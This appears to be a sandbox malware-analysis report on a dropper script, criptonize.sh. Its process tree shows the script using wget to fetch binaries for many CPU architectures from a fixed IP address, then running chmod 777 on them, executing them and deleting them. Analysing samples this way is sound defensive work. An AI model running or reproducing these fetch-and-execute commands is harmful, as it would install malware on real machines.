Resubmissions

27-08-2024 23:50

240827-3vw9rsxdrg 8

27-08-2024 23:49

240827-3t1wkaxdpd 8

27-08-2024 23:47

240827-3svyxsxdlf 8

27-08-2024 23:45

240827-3rvlrsxdjc 3

Analysis

  • max time kernel
    61s
  • max time network
    65s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27-08-2024 23:45

General

  • Target

    criptonize.sh

  • Size

    9KB

  • MD5

    fe5b1cae588f9ad418e162262b65b865

  • SHA1

    c0ab765270f811bcdbb0ad9f4ed2871edcf58caf

  • SHA256

    5231c1a078c018a6abea6fadde67300a961c9b528743464806246a3be619b405

  • SHA512

    b9c079cbb03cc31ba0163dbfe3d9a8fda594010717f48d29880496e31b3852fb90423e6291b1697e09c52d72f6bd1f4405021aa63d652a0c96853fff25055774

  • SSDEEP

    96:rK7IcSgf29gv+1XVYmm6Wdw9Iu8f/s2CIjTgSWuI:cERlnySeZy

Score
3/10

Malware Config

Signatures

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/criptonize.sh
    /tmp/criptonize.sh
    1⤵
      PID:666
      • /bin/rm
        rm -f criptonize.x86_64
        2⤵
          PID:667
        • /usr/bin/wget
          wget -O criptonize.x86_64 http://212.60.5.174/criptonize.x86_64
          2⤵
          • Writes file to tmp directory
          PID:670
        • /bin/chmod
          chmod 777 criptonize.x86_64
          2⤵
            PID:698
          • /tmp/criptonize.x86_64
            ./criptonize.x86_64 x86_64
            2⤵
              PID:699
            • /bin/rm
              rm -f criptonize.x86_64
              2⤵
                PID:701
              • /bin/rm
                rm -f criptonize.i686
                2⤵
                  PID:702
                • /usr/bin/wget
                  wget -O criptonize.i686 http://212.60.5.174/criptonize.i686
                  2⤵
                  • Writes file to tmp directory
                  PID:703
                • /bin/chmod
                  chmod 777 criptonize.i686
                  2⤵
                    PID:704
                  • /tmp/criptonize.i686
                    ./criptonize.i686 i686
                    2⤵
                      PID:705
                    • /bin/rm
                      rm -f criptonize.i686
                      2⤵
                        PID:707
                      • /bin/rm
                        rm -f criptonize.i586
                        2⤵
                          PID:708
                        • /usr/bin/wget
                          wget -O criptonize.i586 http://212.60.5.174/criptonize.i586
                          2⤵
                          • Writes file to tmp directory
                          PID:709
                        • /bin/chmod
                          chmod 777 criptonize.i586
                          2⤵
                            PID:740
                          • /tmp/criptonize.i586
                            ./criptonize.i586 i586
                            2⤵
                              PID:741
                            • /bin/rm
                              rm -f criptonize.i586
                              2⤵
                                PID:745
                              • /bin/rm
                                rm -f criptonize.i486
                                2⤵
                                  PID:746
                                • /usr/bin/wget
                                  wget -O criptonize.i486 http://212.60.5.174/criptonize.i486
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:748
                                • /bin/chmod
                                  chmod 777 criptonize.i486
                                  2⤵
                                    PID:756
                                  • /tmp/criptonize.i486
                                    ./criptonize.i486 i486
                                    2⤵
                                      PID:757
                                    • /bin/rm
                                      rm -f criptonize.i486
                                      2⤵
                                        PID:760
                                      • /bin/rm
                                        rm -f criptonize.aarch64
                                        2⤵
                                          PID:761
                                        • /usr/bin/wget
                                          wget -O criptonize.aarch64 http://212.60.5.174/criptonize.aarch64
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:762
                                        • /bin/chmod
                                          chmod 777 criptonize.aarch64
                                          2⤵
                                            PID:780
                                          • /tmp/criptonize.aarch64
                                            ./criptonize.aarch64 aarch64
                                            2⤵
                                              PID:781
                                            • /bin/rm
                                              rm -f criptonize.aarch64
                                              2⤵
                                                PID:783
                                              • /bin/rm
                                                rm -f criptonize.armv7l
                                                2⤵
                                                  PID:785
                                                • /usr/bin/wget
                                                  wget -O criptonize.armv7l http://212.60.5.174/criptonize.armv7l
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:786
                                                • /bin/chmod
                                                  chmod 777 criptonize.armv7l
                                                  2⤵
                                                    PID:804
                                                  • /tmp/criptonize.armv7l
                                                    ./criptonize.armv7l armv7l
                                                    2⤵
                                                      PID:806
                                                    • /bin/rm
                                                      rm -f criptonize.armv7l
                                                      2⤵
                                                        PID:807
                                                      • /bin/rm
                                                        rm -f criptonize.armv6l
                                                        2⤵
                                                          PID:808
                                                        • /usr/bin/wget
                                                          wget -O criptonize.armv6l http://212.60.5.174/criptonize.armv6l
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:810
                                                        • /bin/chmod
                                                          chmod 777 criptonize.armv6l
                                                          2⤵
                                                            PID:811
                                                          • /tmp/criptonize.armv6l
                                                            ./criptonize.armv6l armv6l
                                                            2⤵
                                                              PID:812
                                                            • /bin/rm
                                                              rm -f criptonize.armv6l
                                                              2⤵
                                                                PID:813
                                                              • /bin/rm
                                                                rm -f criptonize.armv5l
                                                                2⤵
                                                                  PID:814
                                                                • /usr/bin/wget
                                                                  wget -O criptonize.armv5l http://212.60.5.174/criptonize.armv5l
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:815
                                                                • /bin/chmod
                                                                  chmod 777 criptonize.armv5l
                                                                  2⤵
                                                                    PID:816
                                                                  • /tmp/criptonize.armv5l
                                                                    ./criptonize.armv5l armv5l
                                                                    2⤵
                                                                      PID:817
                                                                    • /bin/rm
                                                                      rm -f criptonize.armv5l
                                                                      2⤵
                                                                        PID:818
                                                                      • /bin/rm
                                                                        rm -f criptonize.armv4eb
                                                                        2⤵
                                                                          PID:819
                                                                        • /usr/bin/wget
                                                                          wget -O criptonize.armv4eb http://212.60.5.174/criptonize.armv4eb
                                                                          2⤵
                                                                          • Writes file to tmp directory
                                                                          PID:820
                                                                        • /bin/chmod
                                                                          chmod 777 criptonize.armv4eb
                                                                          2⤵
                                                                            PID:821
                                                                          • /tmp/criptonize.armv4eb
                                                                            ./criptonize.armv4eb armv4eb
                                                                            2⤵
                                                                              PID:822
                                                                            • /bin/rm
                                                                              rm -f criptonize.armv4eb
                                                                              2⤵
                                                                                PID:824
                                                                              • /bin/rm
                                                                                rm -f criptonize.armv4tl
                                                                                2⤵
                                                                                  PID:825
                                                                                • /usr/bin/wget
                                                                                  wget -O criptonize.armv4tl http://212.60.5.174/criptonize.armv4tl
                                                                                  2⤵
                                                                                  • Writes file to tmp directory
                                                                                  PID:826
                                                                                • /bin/chmod
                                                                                  chmod 777 criptonize.armv4tl
                                                                                  2⤵
                                                                                    PID:827
                                                                                  • /tmp/criptonize.armv4tl
                                                                                    ./criptonize.armv4tl armv4tl
                                                                                    2⤵
                                                                                      PID:828
                                                                                    • /bin/rm
                                                                                      rm -f criptonize.armv4tl
                                                                                      2⤵
                                                                                        PID:829
                                                                                      • /bin/rm
                                                                                        rm -f criptonize.armv4l
                                                                                        2⤵
                                                                                          PID:830
                                                                                        • /usr/bin/wget
                                                                                          wget -O criptonize.armv4l http://212.60.5.174/criptonize.armv4l
                                                                                          2⤵
                                                                                          • Writes file to tmp directory
                                                                                          PID:831
                                                                                        • /bin/chmod
                                                                                          chmod 777 criptonize.armv4l
                                                                                          2⤵
                                                                                            PID:835
                                                                                          • /tmp/criptonize.armv4l
                                                                                            ./criptonize.armv4l armv4l
                                                                                            2⤵
                                                                                              PID:836
                                                                                            • /bin/rm
                                                                                              rm -f criptonize.armv4l
                                                                                              2⤵
                                                                                                PID:837
                                                                                              • /bin/rm
                                                                                                rm -f criptonize.mips64
                                                                                                2⤵
                                                                                                  PID:838
                                                                                                • /usr/bin/wget
                                                                                                  wget -O criptonize.mips64 http://212.60.5.174/criptonize.mips64
                                                                                                  2⤵
                                                                                                  • Writes file to tmp directory
                                                                                                  PID:839
                                                                                                • /bin/chmod
                                                                                                  chmod 777 criptonize.mips64
                                                                                                  2⤵
                                                                                                    PID:842
                                                                                                  • /tmp/criptonize.mips64
                                                                                                    ./criptonize.mips64 mips64
                                                                                                    2⤵
                                                                                                      PID:843
                                                                                                    • /bin/rm
                                                                                                      rm -f criptonize.mips64
                                                                                                      2⤵
                                                                                                        PID:845
                                                                                                      • /bin/rm
                                                                                                        rm -f criptonize.mips
                                                                                                        2⤵
                                                                                                          PID:846
                                                                                                        • /usr/bin/wget
                                                                                                          wget -O criptonize.mips http://212.60.5.174/criptonize.mips
                                                                                                          2⤵
                                                                                                          • Writes file to tmp directory
                                                                                                          PID:847
                                                                                                        • /bin/chmod
                                                                                                          chmod 777 criptonize.mips
                                                                                                          2⤵
                                                                                                            PID:848
                                                                                                          • /tmp/criptonize.mips
                                                                                                            ./criptonize.mips mips
                                                                                                            2⤵
                                                                                                              PID:849
                                                                                                            • /bin/rm
                                                                                                              rm -f criptonize.mips
                                                                                                              2⤵
                                                                                                                PID:851
                                                                                                              • /bin/rm
                                                                                                                rm -f criptonize.mipsel
                                                                                                                2⤵
                                                                                                                  PID:852
                                                                                                                • /usr/bin/wget
                                                                                                                  wget -O criptonize.mipsel http://212.60.5.174/criptonize.mipsel
                                                                                                                  2⤵
                                                                                                                  • Writes file to tmp directory
                                                                                                                  PID:853
                                                                                                                • /bin/chmod
                                                                                                                  chmod 777 criptonize.mipsel
                                                                                                                  2⤵
                                                                                                                    PID:854
                                                                                                                  • /tmp/criptonize.mipsel
                                                                                                                    ./criptonize.mipsel mipsel
                                                                                                                    2⤵
                                                                                                                      PID:855
                                                                                                                    • /bin/rm
                                                                                                                      rm -f criptonize.mipsel
                                                                                                                      2⤵
                                                                                                                        PID:857
                                                                                                                      • /bin/rm
                                                                                                                        rm -f criptonize.powerpc
                                                                                                                        2⤵
                                                                                                                          PID:858
                                                                                                                        • /usr/bin/wget
                                                                                                                          wget -O criptonize.powerpc http://212.60.5.174/criptonize.powerpc
                                                                                                                          2⤵
                                                                                                                          • Writes file to tmp directory
                                                                                                                          PID:859
                                                                                                                        • /bin/chmod
                                                                                                                          chmod 777 criptonize.powerpc
                                                                                                                          2⤵
                                                                                                                            PID:860
                                                                                                                          • /tmp/criptonize.powerpc
                                                                                                                            ./criptonize.powerpc powerpc
                                                                                                                            2⤵
                                                                                                                              PID:861
                                                                                                                            • /bin/rm
                                                                                                                              rm -f criptonize.powerpc
                                                                                                                              2⤵
                                                                                                                                PID:863
                                                                                                                              • /bin/rm
                                                                                                                                rm -f criptonize.m68k
                                                                                                                                2⤵
                                                                                                                                  PID:864
                                                                                                                                • /usr/bin/wget
                                                                                                                                  wget -O criptonize.m68k http://212.60.5.174/criptonize.m68k
                                                                                                                                  2⤵
                                                                                                                                  • Writes file to tmp directory
                                                                                                                                  PID:865
                                                                                                                                • /bin/chmod
                                                                                                                                  chmod 777 criptonize.m68k
                                                                                                                                  2⤵
                                                                                                                                    PID:868
                                                                                                                                  • /tmp/criptonize.m68k
                                                                                                                                    ./criptonize.m68k m68k
                                                                                                                                    2⤵
                                                                                                                                      PID:869
                                                                                                                                    • /bin/rm
                                                                                                                                      rm -f criptonize.m68k
                                                                                                                                      2⤵
                                                                                                                                        PID:871
                                                                                                                                      • /bin/rm
                                                                                                                                        rm -f criptonize.sh4
                                                                                                                                        2⤵
                                                                                                                                          PID:872
                                                                                                                                        • /usr/bin/wget
                                                                                                                                          wget -O criptonize.sh4 http://212.60.5.174/criptonize.sh4
                                                                                                                                          2⤵
                                                                                                                                          • Writes file to tmp directory
                                                                                                                                          PID:873
                                                                                                                                        • /bin/chmod
                                                                                                                                          chmod 777 criptonize.sh4
                                                                                                                                          2⤵
                                                                                                                                            PID:874
                                                                                                                                          • /tmp/criptonize.sh4
                                                                                                                                            ./criptonize.sh4 sh4
                                                                                                                                            2⤵
                                                                                                                                              PID:875
                                                                                                                                            • /bin/rm
                                                                                                                                              rm -f criptonize.sh4
                                                                                                                                              2⤵
                                                                                                                                                PID:877
                                                                                                                                              • /bin/rm
                                                                                                                                                rm -f criptonize.sparc
                                                                                                                                                2⤵
                                                                                                                                                  PID:878
                                                                                                                                                • /usr/bin/wget
                                                                                                                                                  wget -O criptonize.sparc http://212.60.5.174/criptonize.sparc
                                                                                                                                                  2⤵
                                                                                                                                                  • Writes file to tmp directory
                                                                                                                                                  PID:879
                                                                                                                                                • /bin/chmod
                                                                                                                                                  chmod 777 criptonize.sparc
                                                                                                                                                  2⤵
                                                                                                                                                    PID:880
                                                                                                                                                  • /tmp/criptonize.sparc
                                                                                                                                                    ./criptonize.sparc sparc
                                                                                                                                                    2⤵
                                                                                                                                                      PID:881
                                                                                                                                                    • /bin/rm
                                                                                                                                                      rm -f criptonize.sparc
                                                                                                                                                      2⤵
                                                                                                                                                        PID:883
                                                                                                                                                      • /bin/rm
                                                                                                                                                        rm -f criptonize.arc700
                                                                                                                                                        2⤵
                                                                                                                                                          PID:884
                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                          wget -O criptonize.arc700 http://212.60.5.174/criptonize.arc700
                                                                                                                                                          2⤵
                                                                                                                                                          • Writes file to tmp directory
                                                                                                                                                          PID:885
                                                                                                                                                        • /bin/chmod
                                                                                                                                                          chmod 777 criptonize.arc700
                                                                                                                                                          2⤵
                                                                                                                                                            PID:886
                                                                                                                                                          • /tmp/criptonize.arc700
                                                                                                                                                            ./criptonize.arc700 arc700
                                                                                                                                                            2⤵
                                                                                                                                                              PID:887
                                                                                                                                                            • /bin/rm
                                                                                                                                                              rm -f criptonize.arc700
                                                                                                                                                              2⤵
                                                                                                                                                                PID:889
                                                                                                                                                              • /bin/rm
                                                                                                                                                                rm -f criptonize.bsdamd64
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:890
                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                  wget -O criptonize.bsdamd64 http://212.60.5.174/criptonize.bsdamd64
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Writes file to tmp directory
                                                                                                                                                                  PID:891
                                                                                                                                                                • /bin/chmod
                                                                                                                                                                  chmod 777 criptonize.bsdamd64
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:894
                                                                                                                                                                  • /tmp/criptonize.bsdamd64
                                                                                                                                                                    ./criptonize.bsdamd64 bsdamd64
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:895
                                                                                                                                                                    • /bin/rm
                                                                                                                                                                      rm -f criptonize.bsdamd64
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:897

                                                                                                                                                                    Network

                                                                                                                                                                    MITRE ATT&CK Matrix

                                                                                                                                                                    Replay Monitor

                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                    Downloads